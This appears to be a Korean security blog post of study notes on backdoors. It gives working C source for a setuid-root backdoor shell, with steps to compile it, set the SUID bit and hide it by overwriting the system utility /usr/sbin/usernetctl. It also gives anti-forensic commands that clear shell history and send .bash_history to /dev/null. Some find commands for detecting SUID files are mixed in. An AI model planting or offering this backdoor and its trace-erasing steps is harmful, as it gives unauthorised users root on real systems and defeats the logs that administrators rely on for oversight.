Backdoor


- 정의

· 시스템 접근에 대한 사용자의 인증 등 정상적인 절차를 거치지 않고 응용프로그램 또는 시스템에 접근할 수 있도록 하는 프로그램이다.

· 해킹 성공 후의 후속조치이다. (크래커)

· 개발 과정 및 원격에서 문제 해결에 필요한 통로이다. (관리자)


- 백도어 종류

· 로컬 백도어

· 원격 백도어

· 원격 GUI 백도어

· 패스워드 크래킹 백도어

· 시스템 설정변경

· 트로이 목마형

· 거짓 업그레이드

· 네트워크 데몬이나 시스템 유틸리티를 수정한 백도어

· TCP/IP 프로토콜을 이용한 Shell binding 백도어

· Kernel 모듈을 수정한 백도어

· 방화벽을 우회하는 백도어


- 로컬 백도어

vi back.c //vi에디터로 back.c 라는 파일을 만듬

#include<stdio.h>

int main (){

        printf("usage: usernetctl <interface-config> <up|down|report>\n");

        setuid(0);

        setgid(0);

        system("/bin/bash");

}

gcc -o back back.c //back.c 소스 코드를 컴파일하고 실행 파일을 빌드

chmod 4755 back //back라는 파일에 권한부여

find / -perm +4000 1> /dev/null //에러값 보기

find / -perm +4000 2> /dev/null //에러값 제외하고 보기

/usr/sbin/usernetctl //필요없는 파일

mv /tmp/back /usr/sbin/usernetctl //back이라는 파일을 usernetctl로 덮어씌워 은닉하기

다른 계정이 /usr/sbin/usernetctl 을 실행 시 root계정으로 바뀐다.

- 은닉 & 탐지

[은닉] -기본 setuid 프로그램 바꿈


[탐지]

1.history //단점 : 시간 기록 X

  history -c //사용한 명령어 내용 지우기


2.find

find / -perm +4000 2>/dev/null

find / -perm +4000 1>/dev/null

-name : 이름을 기준으로 찾는다.

-perm : 퍼미션을 기준으로 찾는다.


3.find / -atime n

-atime : 접근 시간(n일 이전에 접근할 파일을 찾을 때)

->파일을 오픈하면 atime 갱신

-ctime : 변경 시간(n일 이전에 변경된 파일을 찾을 때)

->속성값이 바뀐 시점(퍼미션, 소유주 등 파일의 속성값이 변경)

-mtime : 수정 시간(n일 이전에 수정된 파일을 찾을 때)

->파일의 내용이 바뀌었을 때

-n은 n 이하를 반환

+n은 n 이상을 반환 

find / -ctime -1 -perm +4000 <--24시간 내에 생성된 setuid 파일


.bash_history 찾

find / -name .bash_history //.bash_history 찾기

.bash_history 파일 //각 계정마다 사용했던 명령어들 기록이 있음


.bash_history 링크 걸기

rm -rf .bash_history

ln -s /dev/null .bash_history


.bash_history 생성 X

find / -name /root/.bash_profile(각 계정마다 환경을 설정

export HISTSIZE=0 이나 export HISTFILE=/dev/null


'보안 > 시스템해킹' 카테고리의 다른 글

SystemHacking -2 Setuid  (0) 2016.04.28
SystemHacking -1 Password Cracking  (0) 2016.04.20

+ Recent posts